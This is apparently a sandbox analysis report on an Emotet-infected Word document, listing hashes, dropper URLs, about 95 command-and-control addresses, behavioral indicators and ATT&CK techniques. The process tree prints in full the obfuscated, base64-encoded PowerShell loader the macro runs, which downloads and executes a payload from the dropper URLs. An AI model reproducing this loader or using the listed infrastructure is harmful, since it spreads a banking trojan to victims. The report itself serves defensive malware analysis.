emotet | 74f826a7d355e09009df1def5619581d03c4b4bb6a4bbfa6a61399bfcbede3d3

Analysis

max time kernel
139s
max time network
150s
platform
windows10_x64
resource
win10v200722
submitted
20/08/2020, 07:35

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General

Target
emotet_e1_74f826a7d355e09009df1def5619581d03c4b4bb6a4bbfa6a61399bfcbede3d3_2020-08-20__073421._doc.doc
Size 197KB
Sample200820-mnceazprl2
SHA256 74f826a7d355e09009df1def5619581d03c4b4bb6a4bbfa6a61399bfcbede3d3
MD5 1187f397e855422187394760fbc48c6b
SHA1 eaec7e3dd1439d3259c9c9ba60cbc37048281226
SHA512 2dc33057443a2fb77520011c28558cd531a65fd91376ebd86b2e875b61b07e833fd9ddb87b18d885686b7112b52f198ce2fa471ad0cede1b08198f6966c959ef
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://mealsandwheels.com/backup/3E/
exe.dropper
http://evandijk.eu/4fd2c798720871f16/k/
exe.dropper
http://iseler.net/allmyguests041/BQ/
exe.dropper
http://locuspura.com/cgi-bin/P/
exe.dropper
http://posmarkt.com/zebra/d/
exe.dropper
http://lyndas-orlando-villa.com/Images/N/
exe.dropper
http://ing-buero-naujok.de/cgi-bin/kVA/

Extracted

Family

emotet

65.36.62.20:80
209.126.6.222:8080
5.153.250.14:8080
204.225.249.100:7080
77.90.136.129:8080
185.94.252.27:443
85.105.140.135:443
83.169.21.32:7080
190.190.148.27:8080
185.94.252.12:80
116.125.120.88:443
190.115.18.139:8080
61.92.159.208:8080
24.148.98.177:80
212.93.117.170:80
91.219.169.180:80
73.116.193.136:80
87.106.46.107:8080
187.162.248.237:80
70.32.115.157:8080
188.135.15.49:80
149.62.173.247:8080
190.6.193.152:8080
81.129.198.57:80
190.128.173.10:80
172.104.169.32:8080
68.183.190.199:8080
89.32.150.160:8080
95.9.180.128:80
178.79.163.131:8080
213.60.96.117:80
94.206.45.18:80
217.199.160.224:7080
73.213.208.163:80
143.0.87.101:80
104.131.103.37:8080
5.196.35.138:7080
202.4.57.96:80
77.55.211.77:8080
188.2.217.94:80
51.255.165.160:8080
46.28.111.142:7080
111.67.12.221:8080
177.73.0.98:443
94.176.234.118:443
45.33.77.42:8080
177.74.228.34:80
192.241.143.52:8080
181.129.96.162:8080
190.163.31.26:80
58.171.153.81:80
174.100.27.229:80
190.147.137.153:443
82.163.245.38:80
45.161.242.102:80
91.222.77.105:80
137.74.106.111:7080
209.236.123.42:8080
177.72.13.80:80
70.32.84.74:8080
191.182.6.118:80
212.71.237.140:8080
82.76.111.249:443
189.2.177.210:443
219.92.13.25:80
51.159.23.217:443
24.135.198.218:80
186.103.141.250:443
178.250.54.208:8080
95.85.151.205:80
192.241.146.84:8080
213.176.36.147:8080
50.28.51.143:8080
185.33.0.233:80
114.109.179.60:80
67.247.242.247:80
104.131.41.185:8080
80.249.176.206:80
190.195.129.227:8090
191.99.160.58:80
45.173.88.33:80
2.47.112.152:80
186.70.127.199:8090
207.144.103.227:80
72.47.248.48:7080
82.196.15.205:8080
24.135.1.177:80
201.171.150.41:443
152.169.22.67:80
170.81.48.2:80
68.183.170.114:8080
217.13.106.14:8080
186.250.52.226:8080
12.162.84.2:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2044	1044	powersheLL.exe	66

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/2688-17-0x0000000002370000-0x000000000237C000-memory.dmp	emotet
behavioral2/memory/2688-17-0x0000000002370000-0x000000000237C000-memory.dmp	emotet
behavioral2/memory/4040-20-0x0000000000600000-0x000000000060C000-memory.dmp	emotet
behavioral2/memory/4040-20-0x0000000000600000-0x000000000060C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
6	2044	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2688	Ben6q6ae.exe
4040	MSAJApi.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\systray\MSAJApi.exe	Ben6q6ae.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
500	WINWORD.EXE
500	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
2044	powersheLL.exe
2044	powersheLL.exe
2044	powersheLL.exe
4040	MSAJApi.exe
4040	MSAJApi.exe
4040	MSAJApi.exe
4040	MSAJApi.exe
4040	MSAJApi.exe
4040	MSAJApi.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2044	powersheLL.exe

Suspicious use of SetWindowsHookEx 15 IoCs

pid	Process
500	WINWORD.EXE
500	WINWORD.EXE
500	WINWORD.EXE
500	WINWORD.EXE
500	WINWORD.EXE
500	WINWORD.EXE
500	WINWORD.EXE
500	WINWORD.EXE
500	WINWORD.EXE
500	WINWORD.EXE
500	WINWORD.EXE
2688	Ben6q6ae.exe
2688	Ben6q6ae.exe
4040	MSAJApi.exe
4040	MSAJApi.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 2044 wrote to memory of 2688	2044	powersheLL.exe	70
PID 2044 wrote to memory of 2688	2044	powersheLL.exe	70
PID 2044 wrote to memory of 2688	2044	powersheLL.exe	70
PID 2688 wrote to memory of 4040	2688	Ben6q6ae.exe	72
PID 2688 wrote to memory of 4040	2688	Ben6q6ae.exe	72
PID 2688 wrote to memory of 4040	2688	Ben6q6ae.exe	72

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e1_74f826a7d355e09009df1def5619581d03c4b4bb6a4bbfa6a61399bfcbede3d3_2020-08-20__073421._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:500

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABHAHUAZwAxAHAAdgB4AD0AKAAnAEoAaQBmADMAdQBxACcAKwAnAHAAJwApADsALgAoACcAbgBlAHcAJwArACcALQBpACcAKwAnAHQAZQBtACcAKQAgACQAZQBOAHYAOgB0AGUAbQBQAFwAbwBmAGYAaQBjAEUAMgAwADEAOQAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMAYABFAGAAYwB1AHIASQBUAGAAeQBwAHIAYABvAFQAbwBjAG8AbAAiACAAPQAgACgAJwB0AGwAcwAxADIALAAgAHQAbABzACcAKwAnADEAJwArACcAMQAnACsAJwAsACcAKwAnACAAdAAnACsAJwBsAHMAJwApADsAJABTAGoAaQB5AHoAZgBmACAAPQAgACgAJwBCAGUAJwArACcAbgA2ACcAKwAnAHEANgBhAGUAJwApADsAJABZAG0AbwBwADcAMQA4AD0AKAAnAEwAJwArACcAegA3ADMAbABiACcAKwAnAHAAJwApADsAJABaADUAYgBjAHEAMwA0AD0AJABlAG4AdgA6AHQAZQBtAHAAKwAoACgAJwB7ADAAfQBPAGYAJwArACcAZgBpAGMAJwArACcAZQAyADAAMQA5ACcAKwAnAHsAMAB9ACcAKQAgACAALQBmACAAWwBDAGgAQQByAF0AOQAyACkAKwAkAFMAagBpAHkAegBmAGYAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAE4AMQBpAHgAYQA3AGsAPQAoACcATwB4AHUANAAnACsAJwBsACcAKwAnAGQAbwAnACkAOwAkAFAAZAB2AG0AeQByADgAPQAuACgAJwBuAGUAJwArACcAdwAtAG8AYgBqACcAKwAnAGUAYwB0ACcAKQAgAE4ARQB0AC4AdwBFAEIAQwBsAEkARQBuAFQAOwAkAFgAcQBvAGMAeQB5AHUAPQAoACcAaAB0AHQAcAA6AC8ALwAnACsAJwBtAGUAYQBsAHMAYQBuAGQAdwBoAGUAZQBsAHMAJwArACcALgBjAG8AJwArACcAbQAnACsAJwAvACcAKwAnAGIAYQBjACcAKwAnAGsAdQBwACcAKwAnAC8AMwBFAC8AKgBoAHQAJwArACcAdAAnACsAJwBwACcAKwAnADoALwAvAGUAdgBhACcAKwAnAG4AZABpAGoAawAuAGUAdQAvADQAZgBkADIAYwA3ADkAOAA3ADIAJwArACcAMAA4ACcAKwAnADcAMQBmADEANgAvAGsALwAqAGgAdAAnACsAJwB0AHAAOgAvAC8AaQBzAGUAbABlAHIALgBuAGUAdAAvACcAKwAnAGEAbABsACcAKwAnAG0AeQBnAHUAZQBzAHQAcwAwADQAMQAvAEIAUQAvACoAaAB0AHQAJwArACcAcAA6AC8ALwBsAG8AYwB1AHMAJwArACcAcAAnACsAJwB1AHIAYQAuACcAKwAnAGMAbwBtAC8AYwBnAGkALQBiACcAKwAnAGkAJwArACcAbgAvAFAALwAqAGgAdAB0AHAAOgAvAC8AcABvAHMAbQBhAHIAawB0ACcAKwAnAC4AYwBvAG0ALwB6ACcAKwAnAGUAYgByAGEALwBkAC8AKgBoAHQAdAAnACsAJwBwADoALwAvAGwAeQBuAGQAJwArACcAYQBzACcAKwAnAC0AJwArACcAbwByAGwAJwArACcAYQAnACsAJwBuAGQAbwAtAHYAaQBsAGwAYQAuAGMAbwBtAC8AJwArACcASQBtAGEAZwBlACcAKwAnAHMALwAnACsAJwBOAC8AJwArACcAKgBoAHQAdABwADoALwAvAGkAbgBnACcAKwAnAC0AYgB1AGUAcgBvAC0AbgBhAHUAagBvAGsALgBkAGUALwBjAGcAaQAtAGIAaQBuACcAKwAnAC8AJwArACcAawBWACcAKwAnAEEALwAnACkALgAiAHMAYABwAEwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAQgBjAHMAaQBpAGUAcwA9ACgAJwBHAGcAZQAzACcAKwAnAHQAOAAxACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEIAMgBfADkAcQA5AGIAIABpAG4AIAAkAFgAcQBvAGMAeQB5AHUAKQB7AHQAcgB5AHsAJABQAGQAdgBtAHkAcgA4AC4AIgBkAG8AdwBOAGwAbwBgAEEAYABEAGYAaQBsAGUAIgAoACQAQgAyAF8AOQBxADkAYgAsACAAJABaADUAYgBjAHEAMwA0ACkAOwAkAFkAeAA5AGUANABzAHgAPQAoACcAQgB1ACcAKwAnADYAagBmAGQAawAnACkAOwBJAGYAIAAoACgAJgAoACcARwBlAHQAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAgACQAWgA1AGIAYwBxADMANAApAC4AIgBMAGAAZQBuAGcAYABUAEgAIgAgAC0AZwBlACAAMgA2ADkANQAxACkAIAB7AC4AKAAnAEkAbgB2AG8AawBlACcAKwAnAC0ASQB0AGUAJwArACcAbQAnACkAKAAkAFoANQBiAGMAcQAzADQAKQA7ACQASQAxAGoAdQBoADAAbwA9ACgAJwBTACcAKwAnAG8ANgAyAHMAJwArACcAbQB5ACcAKQA7AGIAcgBlAGEAawA7ACQATQA3AHkAZgBqADIAdQA9ACgAJwBMAGYAJwArACcAegBrAGoAbgBmACcAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAVQByAGgAZwByAHQAMgA9ACgAJwBPADgAJwArACcAZABkADQAJwArACcAbAB1ACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2044
- C:\Users\Admin\AppData\Local\Temp\Office2019\Ben6q6ae.exe
  "C:\Users\Admin\AppData\Local\Temp\Office2019\Ben6q6ae.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2688
- - C:\Windows\SysWOW64\systray\MSAJApi.exe
    "C:\Windows\SysWOW64\systray\MSAJApi.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:4040

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/500-5-0x0000023E26345000-0x0000023E26356000-memory.dmp

Download

memory/500-2-0x0000023E26340000-0x0000023E26345000-memory.dmp

Download

memory/500-0-0x00007FFF56F00000-0x00007FFF575C6000-memory.dmp

Download

memory/500-6-0x0000023E22D80000-0x0000023E22D85000-memory.dmp

Download

memory/500-7-0x0000023E26466000-0x0000023E26469000-memory.dmp

Download

memory/500-8-0x0000023E26466000-0x0000023E26469000-memory.dmp

Download

memory/500-9-0x0000023E263FE000-0x0000023E26407000-memory.dmp

Download

memory/500-10-0x0000023E26407000-0x0000023E2640E000-memory.dmp

Download

memory/500-1-0x0000023E26345000-0x0000023E26356000-memory.dmp

Download

memory/500-4-0x0000023E26345000-0x0000023E26356000-memory.dmp

Download

memory/500-3-0x0000023E26345000-0x0000023E26356000-memory.dmp

Download

memory/2044-13-0x00000226BF520000-0x00000226BF521000-memory.dmp

Download

memory/2044-12-0x00000226BF370000-0x00000226BF371000-memory.dmp

Download

memory/2044-11-0x00007FFF4B790000-0x00007FFF4C17C000-memory.dmp

Download

memory/2688-17-0x0000000002370000-0x000000000237C000-memory.dmp

Download

memory/4040-20-0x0000000000600000-0x000000000060C000-memory.dmp

Download